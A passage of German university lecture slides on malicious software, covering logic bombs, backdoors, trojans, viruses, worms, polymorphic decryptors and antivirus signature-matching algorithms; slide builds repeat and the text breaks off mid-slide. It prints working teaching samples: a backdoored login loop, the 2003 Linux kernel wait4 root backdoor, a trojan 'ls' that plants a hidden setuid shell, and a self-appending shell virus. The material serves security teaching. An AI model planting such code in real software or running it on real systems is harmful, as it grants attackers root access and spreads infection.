Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf ·...

Preview:

Citation preview

Vorlesung InformationssicherheitThema 5: Bösartige Software

Robert Baumgartl

11. Mai 2016

1 / 95

Überblick

Bösartige Software

unabhängigWirtsprogramm nötig

Hintertüren

Logische Bomben Viren Würmer Trojanische Pferde

verbreiten sich selbständig

Abbildung: Mögliche Kategorisierung bösartiger Software

I lokale vs. entfernte AngriffeI on-line- vs. off-line-Angriffe

2 / 95

Logische Bomben

Idee: Implantierung „bösartigen“ Codes in Applikationen (oderin das BS), Aktivierung des Codes, sobald eine bestimmteAktivierungsbedingung erfüllt

I Aktivierungsbedingung Eintritt eines Datums→ (logische)„Zeitbombe“ (Kalender von Aktivierungsdaten:http://vil.nai.com/vil/calendar/virus_calendar.aspx)

I meist simples Löschen von DatenI häufig eingesetzt, um „Rache“ für Entlassung o. ä. zu üben

3 / 95

Ausschnitt aus dem McAfee-Aktivierungskalender

12. Mai W97M/Alamat, W97M/Yous, VBS/Horty.b@MM,VBS/Horty.a@MM, WM/Alliance.A, WM/Envader.A(Intended), WM/Eraser.A:Tw, VBS/Aqui

13. Mai VBS/Aqui, VBS/Zync, WM/Eraser.A:Tw, VBS/Alphae,WM/Envader.A (Intended), Twno.A, WM/BOOM.A;B,WM/BADBOY.A;B;C, WM/FRIDAY.D, WM/FRIDAY.A,WM/Goldsecret.B:Int,WM/CVCK1.B;E,W97M/Rapmak.a, W97M/Yous, W97M/Alamat,WM/SHOWOFF.G, W97M/BackHand.A, W97M/Idea.A,W97M/Digma

14. Mai X97M/Jal.a, VBS/San@M, W97M/Este, W97M/Alamat,W32/SoftSix.worm, W97M/Yous, VBS/Valentin@MM,WM/PHARDERA.C ;D (INTENDED), W97M/Class.B,W97M/Class.D, W97M/Ekiam, WM/Eraser.A:Tw,VBS/Aqui

15. Mai . . .

4 / 95

Logische Bomben

Beispiel:I Donald Gene Burleson, Programmierer für Versicherung

USPA & IRA, Ft. Worth, TXI entlassen am 18. 9. 1985 (Grund: persönliche

Schwierigkeiten)I am 21. 9. 1985 um 3 Uhr werden 168.000 Datensätze aus

der Datenbank des Unternehmens gelöschtI Code wurde bei Restaurierung der gelöschten Datensätze

gefundenVor Gericht:

“Benson, who spent four days testifying about how heuncovered the scheme, said the destructive programswere created Sept. 2 and Sept. 3, 1985, on Burleson’scomputer terminal by someone using Burleson’scomputer password.”

(http://catless.ncl.ac.uk/Risks/7.56.html)5 / 95

Hintertüren (Back Doors)

Idee: Einbau (nichtdokumentierter) Schnittstellen in Softwarezwecks späteren (unautorisierten) Zugriffes auf das System.

I Mißbrauch von geheimen Debugging-SchnittstellenI schwierig von BS-Seite aus zu erkennenI häufiges Relikt aus der ProduktentwicklungI Behörden sind häufig der Meinung, ein Anrecht auf

Hintertüren zu habenI Gegenmaßnahme: Code Reviews, Open SourceI symmetrische vs. asymmetrische HintertürenI viele Würmer installieren Back DoorsI Klassiker: Back Orifice

(http://www.cultdeadcow.com/tools/bo.php)I feste Master-BIOS-Passworte, z. B. lkwpeter bei Award

BIOS

6 / 95

Beispiel einer Hintertür

Beispiel: Login-Code mit Hintertür (Tanenbaum: ModernOperating Systems, 2001, S. 610)

while (TRUE) {printf("login: ");get_string(name);disable_echoing();printf("password: ");get_string(password);enable_echoing();v = check_validity(name, password);if (v || strcmp(name, "zzzzz") == 0)break;

}execute_shell(name);

7 / 95

Beispiel 2 (Backdoor im Linux-Kern; nice try)

From: Larry McVoy [email blocked]Subject: Re: BK2CVS problemDate: Wed, 5 Nov 2003 14:23:02 -0800

On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote:> Out of curiosity, what were the changed lines?--- GOOD 2003-11-05 13:46:44.000000000 -0800+++ BAD 2003-11-05 13:46:53.000000000 -0800@@ -1111,6 +1111,8 @@

schedule();goto repeat;

}+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))+ retval = -EINVAL;

retval = -ECHILD;end_wait4:

current->state = TASK_RUNNING;

---Larry McVoy lm at bitmover.com

8 / 95

Beispiel 2 (Backdoor im Linux-Kern; nice try)

I jemand modifizierte die Kernelquellen (unautorisiert)I fraglicher Code gehört zu sys_wait4(), d. h. dem

Systemruf wait4()I „verkleideter Code“; (current->uid = 0) sieht so

ähnlich aus wie (current->uid == 0)

I wenn jemand wait4() aufruft und die Optionen__WCLONE und __WALL sind gesetzt, so erhält derRufende root-Rechte

I Code wurde beim Review entdeckt (“It’s not a big deal, wecatch stuff like this, but it’s annoying to the CVS users.”)

9 / 95

Trojanische Pferde („Trojaner“)

Idee: dem Nutzer ein Programm unterschieben, welches beiAktivierung unerlaubte Aktionen ausführt

I anstelle eines Eindringlings führt ein autorisierter NutzerSchadcode aus

I Beispiel: gefälschter Login-BildschirmI Klassiker: Compiler, der unbemerkt bösartigen Code in

übersetzte Programme einbaut (Ken Thompson:Reflections on Trusting Trust, CACM 4(27), S. 761ff.)

I vgl. "‘Bundestrojaner"’

10 / 95

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

11 / 95

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

12 / 95

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

13 / 95

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

14 / 95

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

15 / 95

(Computer)-Viren

“A virus is a program that is able to infect otherprograms by modifying them to include a possiblyevolved copy of itself.” (Fred Cohen)

einige Varianten:I Stealth-VirenI polymorphe VirenI Bootsektor-VirenI Macro-Viren

16 / 95

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

17 / 95

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

18 / 95

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

19 / 95

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

20 / 95

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

21 / 95

Ein (etwas) besserer Virus

for i in *.sh; doif test "./$i" != "$0"; thenHOST=$(echo -n $(tail -10 $i))VIR=$(echo -n $(tail -10 $0))if [ "$HOST" != "$VIR" ]thentail -n 10 $0 | cat >> $i;

fifi

done

22 / 95

Würmer

“An independently replicating and autonomousinfection agent, capable of seeking out new hostsystems and infecting them via the network.”(Jose Nazario: Defence and Detection Strategiesagainst Internet Worms, Artech House, 2004)

Bekannte Vertreter:I W32.BlasterI MelissaI MydoomI SasserI Conficker

23 / 95

Komponenten eines Wurms

1. Aufklärung neuer Hosts als potentielle AngriffszieleI IP-Adreßräume (partiell) durchsuchenI lokale Suche in (z. B.) KonfigurationsdateienI OS Fingerprinting, um BS-Typ und -Version zu ermitteln

2. AngriffscodeI Remote Exploit bekannter SchwachstellenI Trojanisches Pferd (z.B. Mail mit attached Binary)I benötigt für jede anzugreifende Plattform Exploit

3. KommunikationI z. B. mittels ICMP, UDP, . . . , E-MailI über verdeckte KanäleI Verbergen beteiligter Prozesse und Sockets mittels

Kernelmodul oder durch Störung vonÜberwachungssoftware

24 / 95

Komponenten eines Wurms

4. KommandoschnittstelleI interaktiv oder indirekt (script-gesteuert)I typische Kommandos: Up-/Download von Dateien,

Flut-Ping, Generierung von HTTP-Requests, . . .5. Verwaltung der erfolgreich angegriffenen Hosts

I verteilte oder zentralisierte DatenbankI Liste aller befallenen RechnerI in privatem IRC-Channel

25 / 95

Weitere Begriffe

I RansomwareI (kryptografisch sichere) Verschlüsselung des

MassenspeichersI Entschlüsselung nur nach Zahlung eines „Lösegelds“I z. B. CryptoLocker (nutzt 2048-Bit-RSA-Schlüssel, forderte

400$)I Rootkit

I Software, die zur Verschleierung der Kompromittierungeines Rechners dient

I SpywareI KeyloggerI Hoax (z. B. Good-Times-„Virus“)

26 / 95

GoodTimes

FYI, a file, going under the name "Good Times"is being sent to some Internet users whosubscribe to on-line services (Compuserve,Prodigy and America On Line). If you shouldreceive this file, do not download it! Deleteit immediately. I understand that there is avirus included in that file, which ifdownloaded to your personal computer, willruin all of your files. [...]

27 / 95

Computerviren

28 / 95

Literatur

I Eric Filiol: Computer Viruses: From Theory to Appliactions.Springer, 2005

I Peter Szor: The Art of Computer Virus Research andDefense. Addison-Wesley, 2005

I Mark Ludwig: The Giant Black Book of Computer Viruses.American Eagle Publications, 1995

I John Aycock: Computer Viruses and Malware. Springer,2006

I http://www.cknow.com/vtutor/IntroductiontoViruses.htmlI http://vx.netlux.org/

29 / 95

Was ist ein Virus?

DefinitionA virus is a program that reproduces its own code by attachingitself to other executable files in such a way that the virus codeis executed when the infected executable file is executed.Anmerkungen:

I Implementationssprache irrelevantI keine Schadroutine nötigI Wurm ist auch ein Virus

30 / 95

Bestandteile eines Virus

I Infektionsmechanismus: Aufsuchen von Zielen,Replikation

I Routine(n) zum Verbergen: vor dem Nutzer oderAnti-Viren-Software

I Trigger: Entscheidung, ob bzw. wann Nutzlast aktiviertwird

I Nutzlast: zufälliger oder beabsichtigter Schaden oder„Spaß“

Beispiel: blackwolf.c (http://vx.netlux.org/lib/vbw06.html)

31 / 95

Analyse: Blackwolf-Virus in C

I sucht alle .COM-Dateien im aktuellen Verzeichnis undinfizierte diese (auf einmal)→ schnelle Infektion

I überschreibender VirusI mäßig destruktiv: Virus-Code überschreibt Anfang der

ZieleI verbirgt sich nichtI keine NutzlastI infiziert bei jeder Aktivierung, Ziele wachsen nicht, da

überschreibend

32 / 95

Klassifizierung von Viren Inach dem potentiellen Ziel

I Boot-SektorI (allgemeine) ausführbare Dateien (.BAT, .EXE, .VBS,

PostScript, ELF, .sh, .py, . . . )I (spezielle) Dateien bestimmter Applikationen, die mit

Makrosprache ausgerüstet sind, z. B. Microsoft Office→Makroviren (data file infectors)

33 / 95

Klassifizierung von Viren IInach der Strategie des Verbergens

I keineI verschlüsselnd (besser: obfuscating)I Stealth: Virus versucht, sich sowie die Infektion zu

verbergenI Oligomorphismus: Virus kommt in (endlich) vielen Formen

vorI Polymorphismus: Virus kommt in (fast) unendlich vielen

Formen vorI Metamorphismus: Virus wechselt seine Gestalt

34 / 95

Klassifizierung von Viren IIInach der Schadfunktion (Nutzlast, Payload)

1. keine SchadfunktionI typisch für Proof-of-Concept-VirenI trotzdem nicht harmlos (Ressourcenverbrauch,

Datenverlust infolge Absturzes, . . . )2. unbeabsichtigte Schadfunktion („aus Versehen“)

I Beispiel: Stoned-VirusI schreibt Boot-Sektor an einen (vermeintlich) sicheren Platz,

Ende des WurzelverzeichnissesI Verzeichniseinträge werden überschrieben, falls sehr viele

Dateien im Root-Verzeichnis3. nichtdestruktive Schadfunktion

I „Yankee Doodle“I „Cascade“ (Herbstlaub)I W95/Marburg: zeichnet 256 Icons (IDI_HAND) zufällig auf

den Bildschirm

35 / 95

Nichtdestruktive Schadfunktion von W95/Marburg

(http://www.sophos.com/images/viruses/w95-marburg.gif )

36 / 95

Klassifizierung von Viren IIInach der Schadfunktion (Nutzlast, Payload)

4. mäßig destruktive Schadfunktion („mildly damaging“)I Löschen z. B. von Anti-Viren Software aus Speicher und

von FestplatteI W95/HPS kehrt samstags unkomprimierte BMP-Bilder um

(von rechts nach links)I WM/Wazzu.A (1996), bewegt 1-3 Wörter in einem

Office-Dokument, fügt ab und zu das Wort „Wazzu“ ein5. stark destruktive Schadfunktion

a) schnelles Überschreiben von DatenI Michelangelo: überschreibt erste 17 Sektoren jeder Spur der Köpfe 0 bis 4 des

BootmediumsI Überschreiben des MBR oder der FAT (Töltögetö-Virus)I AntiPascal: löscht Pascal-Quellfiles (.PAS)

37 / 95

Stark destruktive Schadfunktionen

b) langsames Überschreiben von Daten (Data Diddler)I Dark.Avenger.1800.A: schreibt "Eddie lives ...somewhere in time!" in zufälligen Sektor

I Ripper: tauscht 2 Datenworte in einem zufällig gewähltenSektor der Festplatte aus

I Gefahr, daß manipulierte Daten ins Backup wandernc) Datenverschlüsselung

I Disk Killer: XORt alle Sektoren des DatenträgersI KOH: verschlüsselt Datenträger mittels IDEA (Idee:

Datenschutz!), „guter Virus“ !?d Störung der Hardware

I AntiCMOS: beschreibt CMOS-RAM (setztCMOS-Passwort)

I W95/CIH: überschreibt (u. a.) Teile des BIOS imFlash-Speicher

38 / 95

Mehrfachinfektion

I Mehrfachinfektion muß vermieden werden, da diese zuI unbeabsichtigtem Fehlverhalten undI auffälligem „Wachstum“ infizierter Dateien

führen, was die Detektierung erleichtert.I → Virus muß infizierte von nichtinfizierten Dateien

unterscheiden könnenI Wenn ein Virus dies kann, so kann dies (potentiell) auch

Anti-Viren-Software!

39 / 95

Überschreibender Virus

Header

Code

Virus

ausführbare Zieldatei

Header

Code

und

Daten

Header

Codeüberschriebener Teil

der Zieldatei

nichtüberschrieben

Infektion

Abbildung: Prinzip des überschreibenden Virus

40 / 95

Überschreibender Virus

I Größe des Ziels ändert sich nichtI auch ohne Payload bösartig: Überschreiben führt zu

Nichtausführbarkeit des ZielsI auch Überschreiben am Ende möglich (Sprung zum Virus

und danach zum Wirtsprogramm)I Virus muß sehr klein sein

41 / 95

Anhangvirus (Appender/Prepender)

Zieldatei

Virus

Infektion

1.

2.

infizierte Zieldatei Aufrufreihenfolge

Abbildung: Prinzip des sich anhängenden Virus42 / 95

Anhangvirus

I Append: kleiner Teil des Targets wird mit Sprung zum Virusüberschrieben

I während Ausführung des Virus muss Zieldatei wiederrestauriert werden

I Auch Voranstellen des Virus möglich, aber ungleichschwieriger

I Größe der Zieldatei ändert sich

43 / 95

Companion Virus (Begleiter)

Idee:I Anlegen einer zusätzlichen Datei („Begleiter“), die mit

Zieldatei (logisch) verbunden istI wenn Zieldatei ausgeführt wird, wird zunächst stets der

Begleiter, der Virus, ausgeführtI Integrität des Zieles bleibt erhalten, jedoch entstehen neue

Dateien

44 / 95

Companion Virus

Zieldatei

Virus Virus

Zieldatei

Exec

1. 2.

Infektion

infizierte Zieldatei

Abbildung: Prinzip des Companion Virus

45 / 95

Companion VirusImplementierungstechniken

I Nutzung einer Ausführungspräzedenz (z. B. MS-DOS:file.com > file.exe > file.bat)

I Nutzung der Hierarchie beim Suchen ausführbarer Dateien

I Datei gleichen Namens wie das Ziel in ein Verzeichnisschreiben, das im PATH vor dem Verzeichnis des Zielessteht

I Manipulation der Indexstruktur der ZieldateiI Überschreiben der Startclusternummer des Zieles mit

Startclusternummer des Virus (und entsprechendeVerkettung)

I Umbenennung des ZielesI Virus kopiert sich, benennt sich wie Ziel, und ruft dieses

nach eigener AktivitätI betriebssystemunabhängig

46 / 95

Quellcode-Virus

Idee: Manipulation von Quellcode: Einfügen virulenten CodesI Vorteil: infizierte Binärdateien sind vollständig intaktI vgl. Ken Thompson: Reflections on Trusting Trust. CACM

4(27) 1984, S. 761ff.Gegenmaßnahmen:

I Code ReviewI Integritätsprüfungen von Quelldateien

47 / 95

Autoreplizierende Programme

Definition (Quine)Ein Quine ist ein Programm, das seinen eigenen Quellcodeausgibt.

I ziemlich schwierig für compilierte Sprachen zu schreiben(probieren Sie es!)

I nicht so schwierig für interpretierte Sprachen

Beispiel in C:char∗ f =" char∗ f=%c%s%c ; main ( ) { p r i n t f ( f ,34 , f ,34 ,10) \;}%c " ; main ( ) { p r i n t f ( f ,34 , f ,34 ,10) ; }

Literatur: http://www.madore.org/˜david/computers/quine.html

48 / 95

Ein Quine in LATEX

\documentclass{book}\pagestyle{empty}\def\a{\ensuremath{\backslash}}\def\f{\def\b{\a}\def\c{\{}\def\d{\}}\def\e{\\}\noindent\g\b def\b g\c\def\b{\a b}\def\c{\a c }\def\d{\a d}\def\e{\a e\\}\g\}\a begin\{document\}\a f\a end\{document\}}\def\g{ \b documentclass\c book\d\b pagestyle\e\c empty\d\b def\b a\c \b ensuremath\c \b backslash\d\d\b def\b f\e\c \b def\b b\c \b a\d\b def\b c\c \b \c \d\b def\b d\c \b \d\d\b def\e\b e\c \b \b \d\b noindent\b g\b b def\b b g\b c\b def\b b\c \b a b\e\d\b def\b c\c \b a c \d\b def\b d\c \b a d\d\b def\b e\c \b a e\e\b \b \d\b g\b \d\b a begin\b \c document\b \d\b a f\b a end\e\b \c document\b \d\d}\begin{document}\f\end{document}

49 / 95

Quines in UNIX-Shell

Beispiel 1:#!/bin/bashread foo<<’EOF’;eval $fooecho ’#!/bin/bash’;echo ’read foo<<’"’EOF’"’;eval $foo’ \;echo $foo;echo EOFEOF

Beispiel 2:#!/bin/bashcat $0

50 / 95

Funktionsweise eines Quellcode-Virus

1. Virus kreiert Quellcodefile (virus.h), 2 Komponenten:I Code des Virus (, der in Zieldatei eingebunden und

übersetzt wird zu infiziertem Binärfile)I gleicher Code in Form einer Datenstruktur (z. B. Array) für

weitere Generationen des Virus= Quine

2. Infektion eines Zieles:I #include "virus.h"I Einfügen mindestens eines Aufrufs des Viruscode in Ziel

3. Virus selbst kann Übersetzungslauf der infizierten Quelleveranlassen

51 / 95

Quellcode-Virus

Zieldatei

Virus

Zieldatei

Zieldatei

(Quellcode)

aktiver Virus(Binärcode)

Übersetzung

manipuliert

infizierte Zieldatei(Binärcode)

manipuliert

manipuliert

Abbildung: Prinzip eines Quellcode-Virus

52 / 95

Boot-Viren

3 TypenI BIOS-Virus

I manipuliert BIOS im Flash-SpeicherI kann nicht durch Antivirus-Software detektiert werdenI unterliegt keinen Zugriffsrestriktionen bei FestplatteI Beispiel: W95/CIH

I Boot-Sektor- bzw. MBR-VirusI infiziert genau einen Sektor→ maximale Größe 512 Byte

I nachladender Boot-Sektor-Virus

53 / 95

Residente Viren

I verbleiben nach Aktivierung im SpeicherI Infektionsgeschwindigkeit muss künstlich gedrosselt

werdenI MS-DOS: Terminate and Stay Resident (TSR)I Windows: VXD (virtueller Gerätetreiber)I UNIX: relativ schwierig

I als Daemon (root-Privileg erforderlich)I als Hintergrundprozess, gestartet durch .profileI Ymum20

54 / 95

Verschlüsselung

Ziel: Erschweren vonI Reverse EngineeringI DetektierungI Identifikation des genauen Virustyps

I Entschlüsselung muss schnell gehen!I darf keine Nutzereingaben o. ä. erwartenI XOR-Verschlüsselung gern genutzt:

I benötigt eine MaschineninstruktionI Schlüssel für Ver- und Entschlüsselung gleich

55 / 95

Ein einfacher Decryptor für .EXE-Dateien

DECRYPT:mov si, OFFSET STARTmov di, OFFSET STARTmov cx, VIR_SIZE

ELP:lodsbxor al,093Hstosbloop ELP

START:Virus Body Starts here ...

I lodsb – load byte at DS:SI into ALI stosb – store AL into DS:DII loop <label> – dec CX, jump <label>, if CX 6= 0

56 / 95

Der Decryptor des Herbstlaub-Virus

lea si,STARTmov sp,0682

DECRYPT:xor [si],sixor [si],spinc sidec spjnz DECRYPT

START:...

I erster bekannter verschlüsselnder VirusI START ist Beginn des verschlüsselten Teils, dynamisch

gesetztI SP als Zähler missbraucht

57 / 95

Variationen des Themas

I einfachste Form: lineare Verschlüsselung (Byte nachByte), vorwärts

I Verschlüsselung rückwärts (Decryptor steht am Ende desVirus)

I mehrere verschachtelte EntschlüsselungsschleifenI semizufällige Auswahl des zu entschlüsselnden Bytes

58 / 95

Formen von Entschlüsselungsschleifen

Decryption Loop

Decryption Loop Decryption Loop 2

Decryption Loop n

Virus

Body

Virus

Body

Decryption Loop 1

Virus

Body

59 / 95

Anmerkungen

I Bitmuster der Entschlüsselungsschleife reicht manchmalzur Detektierung eines Virus, da diese Funktioneneigentlich nur in Viren vorkommen

I präzise Identifikation oft unmöglich, da weniger Typen vonEntschlüsselungsschleifen als Virentypen

I Verschlüsselung Basis für Vielgestaltigkeit

60 / 95

Beispiel für oligomorphen Decryptor

DECRYPT:nopnopxor [esi],alinc esinopinc aldec ecxjnz DECRYPTjmp START

START:...

DECRYPT:nopnopxor [esi],alinc esinopinc alloop DECRYPTjmp START

START:...

I Beispiel aus W95/MemorialI sliding decryption keyI 2 (leicht) verschiedene Schleifen

61 / 95

Erkennen Sie, was dieser Code tut?

inc simov ax,0E9Bclcmov di,012Anopmov cx,0571

LABEL0:xor [di],cxsub bx,dxxor bx,cxsub bx,axsub bx,cxnopxor dx,cxxor [di],axinc dinopclcinc axloop LABEL0

START:

62 / 95

Es ist ein Dekryptor.

inc simov ax,0E9Bclcmov di,012Anopmov cx,0571

LABEL0:xor [di],cxsub bx,dxxor bx,cxsub bx,axsub bx,cxnopxor dx,cxxor [di],axinc dinopclcinc axloop LABEL0

START:

63 / 95

Beispiel für polymorphen Virus: 1260

I Einfügen sogenannter junk instructions verkompliziertCode

I Instruktionen in Prolog und Schleife können jeweilsmiteinander permutiert werden

I 2 Register mit Schlüsseln, ax und cxI jedes Wort wird doppelt verschlüsseltI beide Schlüssel ändern sich stetig (cx implizit durch loop)I di zeigt auf zu verschlüsselndes WortI einer der ersten echt polymorphen Viren

→ Polymorphe Viren können eine unübersehbare Vielzahl vonDekryptor-Routinen besitzen.

64 / 95

Weitere Aspekte polymorpher Viren

I langsame Polymorphie: Gestalt des Virus ändert sich ingroßen Zeiträumen→ schlecht zu testen für AV-Software

I Mutation Engines: übernehmen einen unverschlüsseltenVirus und generieren einen polymorphen Decryptor dafür(Beispiel: The Dark Avenger Mutation Engine)

I Metamorphe Viren: anstatt des Dekryptors wird der Körperdes Virus modifiziert (keine Verschlüsselung mehr nötig)

65 / 95

Weitere Techniken

I Code Interlacing (Hole Cavity Infection); im „PortableExecutable“ (PE) - Binärformat

I Armoured Virus: be- oder verhindert die Analyse desBinärcodes

I erkennen, wenn im Debugmodus abgearbeitet (beendetsich selbst, blockiert Tastatur, rebootet)

I Fake CodeI kryptographische Techniken

I Retrovirus: Nutzen spezifische Erkennungsschwächen vonAnti-Virus-Software

I Multiformatvirus – kann verschiedene Dateitypen infizieren(z. B. iWinux/Lindose, infiziert PE und ELF)

I Slow vs. Rapid VirusI Manipulation des EnvironmentsI kooperierende oder kombinierte Viren

66 / 95

Anti-Virus-Software

Zielstellung:I Erkennung

I keine False PositivesI keine False Negatives

I Identifikation,I Entfernung von Viren

67 / 95

Scanner

Scanner: Programm zur Identifikation und Eliminierung bzw.Reparatur infizierter Dateien

I on-demandI durch den Nutzer gerufenI bzw. zu ausgezeichneten Zeitpunkten (Systemstart)

I on-accessI residentI bei jedem Zugriff, Öffnen, SchließenI z. B. als Filter-Dateisystem-Treiber unter WindowsI Problem: Netzwerk-Freigaben

68 / 95

Signatur eines Virus

Definition (Signatur eines Virus)Die Signatur eines Virus ist eine endliche Sequenz von Bytes,die einen bestimmten Virus eineindeutig identifiziertBeispiel: 0400 B801 020E 07BB 0002 33C9 8BD1 419Cidentifiziert den Stoned-Virus

I Länge der Signatur?I Wildcards?I durchsucht werden alle anfälligen

Dateien/FestplattenbereicheI Problem: Performance!

69 / 95

Algorithmus von Aho-Corasick (1975)Zur bibliografischen Suche

0 1 3 5

6

8

2 4 7 9

h i p s

t

c

h i p

other

hi hip hips

hit

hi chip,hip

Abbildung: Beispiel eines Zustandsautomaten

Fehlerzustand 1 2 3 4 5 6 7 8 9Folgezustand 0 0 0 1 0 0 3 0 5

Tabelle: Zugehörige Fehlerfunktion70 / 95

Algorithmus von Aho-Corasick (1975)

Input Vorher Nachher Ausgabes 0 0c 0 2h 2 4i 4 7 „hi“p 7 9 „chip“, „hip“h 9 1i 1 3 „hi“

Tabelle: Beispiel

I parallele Suche nach allen eingebauten MusternI findet auch überlappende MusterI Anwendung z. B. in fgrep und snortI Literatur: Alfred V. Aho, Margaret J. Corasick: Efficient

string matching: An aid to bibliographic search.Communications of the ACM 18(6):333–340

71 / 95

Algorithmus von Veldman

Idee: Repräsentation der Signaturen durch kurze (z. B. 4 Byte)charakteristische Sequenzen, Filterung mittels zweierHashtabellen

I wenn erste beide Bytes in Hashtabelle 1 zu finden sind,wird in 2 Hashtabelle nach Bytes 3 und 4 gesucht

I Treffer verlinkt verkettete Liste mit Signaturen, die dannsequentiell durchsucht werden

I 2-Byte-Sequenzen für kurze Signaturen ebenfalls möglichI ideal für Suche mittels Wildcards

Beispielzeichenkette für Automat:

blar?g foo greep greed agreed

blar fo gree

72 / 95

Algorithmus von Veldman

Suchfunktion:

foreach byte sequence b1b2b3b4 in input:if HT1[b1b2] == 1thenif two-byte-patternthen

signatures = HT1[b1b2]->STmatch(signatures)

elseif HT2[b3b4] == 1then

signatures = HT2[b3b4]->STmatch(signatures)

73 / 95

Algorithmus von Veldman

bla?r

greep green

foo

agreedaa

ab

ac

0

0

0

1

1

ar

ee

aa

ab

0

0

0

bl

ac

1

gr

fo 1

1

Hash Table 1

HT1

Hash Table 2

HT2

Signature Table

ST

Abbildung: Beteiligte Datenstrukturen (Beispiel)

74 / 95

Algorithmus von Veldman

Anmerkungen:I inexakte Filterung: im Beispiel würden z. B. „bleed“ oder

„grar“ als gültige Signatur erkannt werdenI folgendes Matching schliesst diese aber wieder ausI match-Operation der Signaturen erfolgt sequentiell

75 / 95

Algorithmus von Wu und Manber

Idee: Verbesserung von Veldman, irrelevante Bytes in derEingabe überspringen

I erlaubt ebenfalls WildcardsI Anwendung: agrep (unscharfe Suche)I Literatur: Udi Manber, Sun Wu: Fast text search allowing

errors. Communications of the ACM, 35(10), October 1992

76 / 95

Algorithmus von Wu und ManberSuchfunktion

i = MINLENwhile i < n:

shift = SHIFT [b[i-1],b[i]]if shift = 0:

signatures = HASH[b[i-1],b[i]]match(signatures)shift = 1

i = i + shift

I MINLEN – minimale Länge der Mustersubstrings (foo,greed, . . . )

I b[i] – Bytes der zu durchsuchenden Zeichenkette(0 ≤ i < n)

I SHIFT – Anzahl Bytes, die übersprungen werden könnenI HASH – Hashtabelle für Signaturen

77 / 95

Algorithmus von Wu und Manber

bla?r

agreed

foo

greep green

ab

ag

gr

la

bl

fo

oo

re

xx

2

1

1

1

0

0

0

0

2

gr

la

oo

re

Shift Table

SHIFT

Hash Table 2

HASH

Abbildung: Beteiligte Datenstrukturen (Beispiel)

78 / 95

Algorithmus von Wu und ManberBeispieleingabe

MINLEN=3

c

b[0] b[1] b[2] b[3] b[4] b[5] b[6] b[7]

a x x f o o

initiale

b

Shift: +1

Leserichtung

Shift: +2Shift: +2Position Match

Aufgabe: Was passiert mit der Eingabe „cabxloo“?

79 / 95

Algorithmus von Wu und ManberKonstruktion der Datenstrukturen

1. Ermittlung von MINLEN

2. Initialisierung von SHIFT mit MINLEN-13. Füllen von SHIFT

SHIFT[xy] = MINLEN - qxy

qxy : maximale rechte Endposition von xy in allenbetreffenden Pattern, gezählt ab 1

Beispiel:

xy Signatur qxy

bl bla 2la bla 3gr agr,gre 3

4. Konstruktion der Hashes, wenn SHIFT[xy] == 0

80 / 95

Probleme von Signaturen

zu kurz:I zu viele false positivesI Fehlidentifikation von Virentypen

zu lang:I aufgeblähte DatenbankI langsame SucheI Virusvarianten nicht als solche erkannt

generell:I ständiges Update der Signaturdatenbank nötigI zeitliche Lücke zwischen Auftreten eines neuen Virus→

Erkennung des Virus→ Analyse des Virus undGenerierung einer Signatur

81 / 95

Scanning: Leistungssteigerung

Reduktion der zu durchmusternden Daten:I nicht komplette Dateien durchsuchen (Top- and

Tail-Scanning)I Start des Scans am Einsprungpunkt der ApplikationI Fixed Point Scanning: wenn exakte Position der Signatur

